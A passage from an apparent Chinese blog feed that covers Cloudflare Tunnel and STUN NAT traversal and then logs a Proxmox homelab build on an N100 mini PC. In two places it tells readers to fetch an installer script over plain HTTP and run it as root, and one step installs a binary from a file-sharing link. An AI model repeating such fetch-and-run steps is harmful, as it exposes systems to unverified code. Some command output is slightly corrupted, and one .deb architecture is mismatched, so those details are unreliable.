&lt;p&gt;填入令牌&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6f661ffa778b2be2e108912d3d44d8b3301df6d6.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后前往&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip&quot;&gt;查看IP&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;使用命令运行&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;复制底下的命令然后SSH连接到Linux（飞牛OS）在终端输入&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-46-49-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后前往&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip&quot;&gt;查看IP&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-kan-cloudflaredde-ip&quot;&gt;查看cloudflared的IP&lt;&#x2F;h3&gt;
&lt;p&gt;因为我们是Docker模式，所以IP需要通过SSH终端输入&lt;code&gt;ip a&lt;&#x2F;code&gt;来查看。我这里是&lt;code&gt;192.168.124.34&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;root@n100-debian:~# ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link&#x2F;loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1&#x2F;8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1&#x2F;128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: ens18: tiROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link&#x2F;ether bc:24:11:33:e1:7d brd ff:ff:ff:ff:ff:ff
    altname enp0s18
    inet 192.168.124.34&#x2F;24 brd 192.168.124.255 scope global dynamic ens18
       valid_lft 46579sec preferred_lft 46579sec
    inet6 2409:8a30:320:a170:be24:11ff:fe33:e17d&#x2F;64 scope global dynamic mngtmpaddr
       valid_lft 1902sec preferred_lft 1898sec
    inet6 fe80::be24:11ff:fe33:e17d&#x2F;64 scope link
       valid_lft forever preferred_lft foreverti
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-sheng-mo-shi-yi-debianwei-li&quot;&gt;原生模式（以Debian为例）&lt;&#x2F;h2&gt;
&lt;p&gt;选择Debian，然后复制底下的命令，直接到终端执行&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-20-00-49-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你的环境无法连接上Github&lt;&#x2F;p&gt;
&lt;p&gt;尝试手动下载：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;cloudflare&#x2F;cloudflared&#x2F;releases&#x2F;latest&#x2F;download&#x2F;cloudflared-linux-amd64.deb&quot;&gt;https://github.com&#x2F;cloudflare&#x2F;cloudflared&#x2F;releases&#x2F;latest&#x2F;download&#x2F;cloudflared-linux-amd64.deb&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后将其通过SSH等方式传到Linux上，如图终端为MobaXterm&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-29-10-18-29-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后使用：&lt;code&gt;dpkg -i cloudflared-linux-amd64.deb&lt;&#x2F;code&gt;安装这个软件包&lt;&#x2F;p&gt;
&lt;p&gt;然后直接复制右边的命令到SSH终端执行&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-29-10-19-27-3dcfad6977bdecf80fc0366f257788e6.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;android-termux&quot;&gt;Android（Termux）&lt;&#x2F;h2&gt;
&lt;p&gt;在Android上安装&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://termux.dev&quot;&gt;Termux | The main termux site and help pages.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在终端执行：&lt;code&gt;pkg install cloudflared&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择&lt;code&gt;Debian&lt;&#x2F;code&gt;然后复制最右边的命令到终端执行&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-29-08-42-38-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;
如果你无法使用Termux自带的cloudflared，请尝试安装proot容器实现&lt;&#x2F;p&gt;
&lt;p&gt;依次输入命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;pkg update &amp;amp;&amp;amp; pkg upgrade
pkg install proot
pkg install proot-distro
proot-distro list
proot-distro install debian
proot-distro login debian
apt install wget
wget https://github.com&#x2F;cloudflare&#x2F;cloudflared&#x2F;releases&#x2F;download&#x2F;2024.10.1&#x2F;cloudflared-linux-arm64.deb
dpkg -i cloudflared-linux-amd64.deb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后直接复制右边的命令到SSH终端执行&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-29-08-42-38-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你无法通过令牌配置cloudflared，请参见&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#%E6%9C%AC%E5%9C%B0%E6%96%B9%E5%BC%8F&quot;&gt;本地方式配置cloudflared&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;然后前往&lt;a href=&quot;https://af-archive-zola-classic.pages.dev/posts&#x2F;across-nat&#x2F;#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel&quot;&gt;配置并访问Tunnel&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;pei-zhi-bing-fang-wen-tunnel&quot;&gt;配置并访问Tunnel&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;tong-guo-wang-ye-pei-zhi&quot;&gt;通过网页配置&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法需要直接在安装了cloudflared的设备上通过令牌运行&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如图进入，创建一个HTTP隧道&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-49-21-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-49-44-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;填写你的IP和端口，非Docker模式可以直接填写localhost&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-53-37-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ben-di-fang-shi&quot;&gt;本地方式&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法只需要在安装了cloudflared的设备上输入一些命令然后通过网页授权，后续更改配置也需要在本地操作&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;登录并授权：&lt;code&gt;cloudflared tunnel login&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;创建隧道并设置隧道（HTTP模式穿透，目标地址&lt;code&gt;127.0.0.1&lt;&#x2F;code&gt;，端口：&lt;code&gt;8080&lt;&#x2F;code&gt;，外部域名：&lt;code&gt;test.onani.cn&lt;&#x2F;code&gt;）：&lt;code&gt;cloudflared tunnel --name test --url http:&#x2F;&#x2F;127.0.0.1:8080 --http2 --hostname test.onani.cn&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-wen-ce-shi&quot;&gt;访问测试&lt;&#x2F;h2&gt;
&lt;p&gt;成功访问&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-54-42-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-stunda-dong&quot;&gt;使用STUN打洞&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这种方法可以不进行任何配置直接在公网上被访问，并且所有类型的服务都能正常使用。但是这种方式进行的内网穿透无法固定也无法指定IP和端口，在3~7天后会改变&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;an-zhuang-lucky&quot;&gt;安装Lucky&lt;&#x2F;h2&gt;
&lt;p&gt;执行：&lt;code&gt;curl -o &#x2F;tmp&#x2F;install.sh http:&#x2F;&#x2F;6.666666.host:6&#x2F;files&#x2F;golucky.sh &amp;amp;&amp;amp; sh &#x2F;tmp&#x2F;install.sh http:&#x2F;&#x2F;6.666666.host:6&#x2F;files 2.13.4&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过&lt;code&gt;host:16601&lt;&#x2F;code&gt; 进入Lucky后台，设置STUN穿透。如果DMZ主机不设为Lucky主机可能会失败。打码的地方即公网访问的IP和端口&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-28-18-56-16-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>N100 - PVE（fnOS+Debian）基建记录</title>
        <published>2024-10-28T00:00:00+00:00</published>
        <updated>2024-10-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/n100-pve/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/n100-pve/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/n100-pve/">&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;N100 CPU 频率：最小 700 Mhz, 最大 3400 Mhz | TDP：6 W&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;8G RAM&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;128G M.2 NVme SSD&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;512G SATA HDD&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Realtek R8168 有线网卡&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;USB有线网卡&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;U盘（作PVE引导盘）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;mu-biao&quot;&gt;目标&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;所有系统通过PVE管理&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;PVE下安装fnOS，作NAS并配置自动追番（直通：&lt;code&gt;N100核显&lt;&#x2F;code&gt; &lt;code&gt;512G SATA HDD&lt;&#x2F;code&gt; ）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;PVE下安装Debian，搭建QQBot、博客、AList&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;1-pve&quot;&gt;1. PVE&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;an-zhuang&quot;&gt;安装&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载Ventoy最新版可执行文件：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.ventoy.net&#x2F;cn&#x2F;download.html&quot;&gt;https://www.ventoy.net&#x2F;cn&#x2F;download.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用GPT分区表，NTFS格式将Ventoy写入U盘&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;下载PVE最新版ISO（使用USTC镜像源）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://mirrors.ustc.edu.cn&#x2F;help&#x2F;proxmox.html&quot;&gt;https://mirrors.ustc.edu.cn&#x2F;help&#x2F;proxmox.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将PVE的ISO文件放入U盘根目录&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;插入USB网卡，U盘连接到到N100，开机从U盘启动，进入PVE安装界面，安装PVE。网络配置选择USB网卡&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重启，进入PVE，通过IP+8006端口进入WebUI，登录进去&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;pei-zhi&quot;&gt;配置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;an-zhuang-pvekuai-jie-guan-li-jiao-ben&quot;&gt;安装PVE快捷管理脚本&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装PVE快捷管理脚本：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://alist.onani.cn&#x2F;pve_source.tar.gz&quot;&gt;pve_source.tar.gz | AcoFork-AList&lt;&#x2F;a&gt; 或 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://wwp.lanzoul.com&#x2F;ivHta1ngmo6d&quot;&gt;&lt;strong&gt;https://wwp.lanzoul.com&#x2F;ivHta1ngmo6d&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt; （密码:i1ws）（来自：在下莫老师）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;解压：&lt;code&gt;tar zxvf pve_source.tar.gz&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;运行：&lt;code&gt;.&#x2F;pve_source&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;同意许可协议&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;依次执行白框操作&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ea205e1a00e7029dfa4bd7850c5a6a68d6d4c0d9.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;扩容local：&lt;code&gt;lvextend -rl +100%FREE &#x2F;dev&#x2F;pve&#x2F;root&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;pei-zhi-realtek-r8168wang-qia&quot;&gt;配置Realtek R8168网卡&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;由于Debian系默认安装R8169驱动，我们需要手动安装R8168驱动，否则无法使用N100小主机自带的有线网口上网&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载驱动：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.realtek.com&#x2F;Download&#x2F;List?cate_id=584&quot;&gt;https://www.realtek.com&#x2F;Download&#x2F;List?cate_id=584&lt;&#x2F;a&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0d8457c7fb0d497e12e2c8b544f07c3c37cf96cd.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;解压，安装：&lt;code&gt;sh autorun.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看是否有新的网络接口：&lt;code&gt;ip a&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@n100-pve:~# ip a
...
2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
    link&#x2F;ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置网络配置文件：&lt;code&gt;nano &#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# network interface settings; autogenerated
# Please do NOT modify this file directly, unless you know what
# you&amp;#39;re doing.
#
# If you want to manage parts of the network configuration manually,
# please utilize the &amp;#39;source&amp;#39; or &amp;#39;source-directory&amp;#39; directives to do
# so.
# PVE will preserve these directives, but will NOT read its network
# configuration from sourced files, so do not attempt to move any of
# the PVE managed interfaces into external files!

auto lo
iface lo inet loopback

iface wlp1s0 inet manual

iface enp3s0 inet manual

auto vmbr1
iface vmbr1 inet static
        address 192.168.124.25&#x2F;24
        gateway 192.168.124.1
        bridge-ports enp3s0
        bridge-stp off
        bridge-fd 0

iface vmbr1 inet6 auto
        dhcp 1
        accept_ra 2
        request_prefix 1

source &#x2F;etc&#x2F;network&#x2F;interfaces.d&#x2F;*
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重启网络服务：&lt;code&gt;systemctl restart networking&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看ip：&lt;code&gt;ip a&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@n100-pve:~# ip a
...
2: enp3s0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
    link&#x2F;ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
...
4: vmbr1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue state UP group default qlen 1000
    link&#x2F;ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
    inet 192.168.124.25&#x2F;24 scope global vmbr1
       valid_lft forever preferred_lft forever
    inet6 2409:8a30:320:7fc0:2e0:4cff:fe08:91a6&#x2F;64 scope global dynamic mngtmpaddr
       valid_lft 2763sec preferred_lft 2762sec
    inet6 fe80::2e0:4cff:fe08:91a6&#x2F;64 scope link
       valid_lft forever preferred_lft forever
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;卸除USB网卡&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;pei-zhi-stunchuan-tou&quot;&gt;配置STUN穿透&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;lu-you-qi-she-zhi-dmzzhu-ji-wei-pveip&quot;&gt;路由器设置DMZ主机为PVEIP&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;dbeb7980e5fc699c696ffa6f2fda4a17c05ee821.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;an-zhuang-lucky&quot;&gt;安装Lucky&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;执行：&lt;code&gt;curl -o &#x2F;tmp&#x2F;install.sh http:&#x2F;&#x2F;6.666666.host:6&#x2F;files&#x2F;golucky.sh &amp;amp;&amp;amp; sh &#x2F;tmp&#x2F;install.sh http:&#x2F;&#x2F;6.666666.host:6&#x2F;files 2.13.4&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;host:16601&lt;&#x2F;code&gt; 进入Lucky后台，设置STUN穿透&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2175839424184aee880b91382bd1fbf3c578d258.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;2-fnos&quot;&gt;2. fnOS&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;an-zhuang-1&quot;&gt;安装&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前往官网下载最新版ISO：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.fnnas.com&#x2F;&quot;&gt;https://www.fnnas.com&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;上传至PVE：&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;073808516d357e099a866c30b4a77954c5b9b458.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;创建fnOS虚拟机，CPU类型选择host，步骤略&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;直通核显和硬盘：&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;08e4f7a3b87ae86334011e1d4c3a384a36ad9866.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果你不知道你的核显和SATA控制器的PCI ID：&lt;code&gt;lspci&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;可见核显为&lt;code&gt;00:02.0&lt;&#x2F;code&gt;，SATA控制器为&lt;code&gt;00:17.0&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@n100-pve:~# lspci
00:00.0 Host bridge: Intel Corporation Device 461c
00:02.0 VGA compatible controller: Intel Corporation Alder Lake-N [UHD Graphics]
00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01)
00:14.0 USB controller: Intel Corporation Alder Lake-N PCH USB 3.2 xHCI Host Controller
00:14.2 RAM memory: Intel Corporation Alder Lake-N PCH Shared SRAM
00:16.0 Communication controller: Intel Corporation Alder Lake-N PCH HECI Controller
00:17.0 SATA controller: Intel Corporation Alder Lake-N SATA AHCI Controller
00:1a.0 SD Host controller: Intel Corporation Device 54c4
00:1c.0 PCI bridge: Intel Corporation Device 54be
00:1d.0 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
00:1d.1 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
00:1e.0 Communication controller: Intel Corporation Alder Lake-N Serial IO UART Host Controller
00:1e.3 Serial bus controller: Intel Corporation Device 54ab
00:1f.0 ISA bridge: Intel Corporation Alder Lake-N PCH eSPI Controller
00:1f.3 Audio device: Intel Corporation Alder Lake-N PCH High Definition Audio Controller
00:1f.4 SMBus: Intel Corporation Alder Lake-N SMBus
00:1f.5 Serial bus controller: Intel Corporation Alder Lake-N SPI (flash) Controller
01:00.0 Network controller: Intel Corporation Wireless 3160 (rev 83)
02:00.0 Non-Volatile memory controller: Realtek Semiconductor Co., Ltd. RTS5765DL NVMe SSD Controller (DRAM-less) (rev 01)
03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111&#x2F;8168&#x2F;8411 PCI Express Gigabit Ethernet Controller (rev 2b)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;启动虚拟机，安装fnOS&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;pei-zhi-1&quot;&gt;配置&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前往飞牛设置，创建储存空间，Linear模式，选择刚才直通的硬盘&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;581cf01462df545a8662acbb5e20e1676bd17744.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;前往飞牛应用中心安装qBittorrent、影视，并且在设置给予目录读取权限&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;92a2e0bf25d630db4858775fdbb6c907f419c25d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置qBittorrent的用户名和密码&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;打开飞牛Docker，初始化&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;拉取并运行AutoBangumi Docker镜像：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;docker run -d \
--name=AutoBangumi \
-v &#x2F;vol1&#x2F;1000&#x2F;AutoBangumi&#x2F;config:&#x2F;app&#x2F;config \
-v &#x2F;vol1&#x2F;1000&#x2F;AutoBangumi&#x2F;data:&#x2F;app&#x2F;data \
-p 7892:7892 \
-e TZ=Asia&#x2F;Shanghai \
-e PUID=$(id -u) \
-e PGID=$(id -g) \
-e UMASK=022 \
--network=bridge \
--dns=8.8.8.8 \
--restart unless-stopped \
ghcr.onani.cn&#x2F;estrellaxd&#x2F;auto_bangumi:latest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;code&gt;host:7892&lt;&#x2F;code&gt; 让AutoBangumi连接qBittorrent并配置下载地址&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;82c4a003d2399f82a7ccf5849cd1d5858d5f1f61.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;添加RSS。可前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://mikanime.tv&#x2F;&quot;&gt;蜜柑计划 - Mikan Project&lt;&#x2F;a&gt;获得各个字幕组的RSS&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f36daae968d8043bbcd1e4a2bbb9b9cd2d707cee.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
